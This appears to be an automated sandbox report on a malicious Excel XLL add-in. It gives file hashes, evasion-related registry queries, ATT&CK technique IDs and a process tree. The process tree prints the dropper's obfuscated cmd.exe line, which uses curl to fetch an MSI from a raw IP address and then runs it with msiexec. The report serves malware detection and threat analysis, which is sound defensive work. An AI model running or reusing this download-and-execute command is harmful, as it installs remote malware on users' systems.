768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa

General

Target

768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa_JC.xll
Size

12KB
MD5

398624261835a9df069e100979c7b72c
SHA1

070921b48ced543e571127c2243088675a7c7349
SHA256

768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa
SHA512

5e9f62a8466acdf450e03c3cb7641e24ea5027d397d86c81d182bce94bc4e57368e92618ecc24108cb224cabf24b4afc95f01f766c8feb9319c0b9c2f19a6761
SSDEEP

192:uU5z9iLjq2pJk+/qcJklyJOEdtLsWGQwrgAh:3z9AbJH/IwJOsW/QwrgC

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2628	2288	cmd.exe	31

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
2288	EXCEL.EXE
2288	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4884	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2288	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4112	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4112	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2288	EXCEL.EXE
2288	EXCEL.EXE
4112	msiexec.exe
4112	msiexec.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE
2288	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 2628	2288	EXCEL.EXE	86
PID 2288 wrote to memory of 2628	2288	EXCEL.EXE	86
PID 2628 wrote to memory of 2892	2628	cmd.exe	88
PID 2628 wrote to memory of 2892	2628	cmd.exe	88
PID 2628 wrote to memory of 4884	2628	cmd.exe	89
PID 2628 wrote to memory of 4884	2628	cmd.exe	89
PID 2628 wrote to memory of 4112	2628	cmd.exe	98
PID 2628 wrote to memory of 4112	2628	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa_JC.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2288
- \??\c:\windows\system32\cmd.exe
  c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\curl.exe
    curl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0
    3⤵
    PID:2892
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:4884
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa_JC.xll

Filesize
12KB

MD5
398624261835a9df069e100979c7b72c

SHA1
070921b48ced543e571127c2243088675a7c7349

SHA256
768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa

SHA512
5e9f62a8466acdf450e03c3cb7641e24ea5027d397d86c81d182bce94bc4e57368e92618ecc24108cb224cabf24b4afc95f01f766c8feb9319c0b9c2f19a6761

Download Submit
C:\Users\Admin\AppData\Local\Temp\768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa_JC.xll

Filesize
12KB

MD5
398624261835a9df069e100979c7b72c

SHA1
070921b48ced543e571127c2243088675a7c7349

SHA256
768f003f97b5735f658a712f88c21d9747f6c6465d8157c153f14fbaa2e9c9aa

SHA512
5e9f62a8466acdf450e03c3cb7641e24ea5027d397d86c81d182bce94bc4e57368e92618ecc24108cb224cabf24b4afc95f01f766c8feb9319c0b9c2f19a6761

Download Submit
memory/2288-16-0x00007FFE212A0000-0x00007FFE212B0000-memory.dmp

Filesize
64KB

Download
memory/2288-18-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-4-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-6-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-5-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-7-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-8-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-9-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-10-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-11-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-12-0x00007FFE212A0000-0x00007FFE212B0000-memory.dmp

Filesize
64KB

Download
memory/2288-13-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-14-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-15-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-2-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-0-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-19-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-20-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-17-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-21-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-3-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-1-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-25-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-42-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-43-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-44-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-45-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-47-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-46-0x00007FFE236B0000-0x00007FFE236C0000-memory.dmp

Filesize
64KB

Download
memory/2288-48-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download
memory/2288-49-0x00007FFE63630000-0x00007FFE63825000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads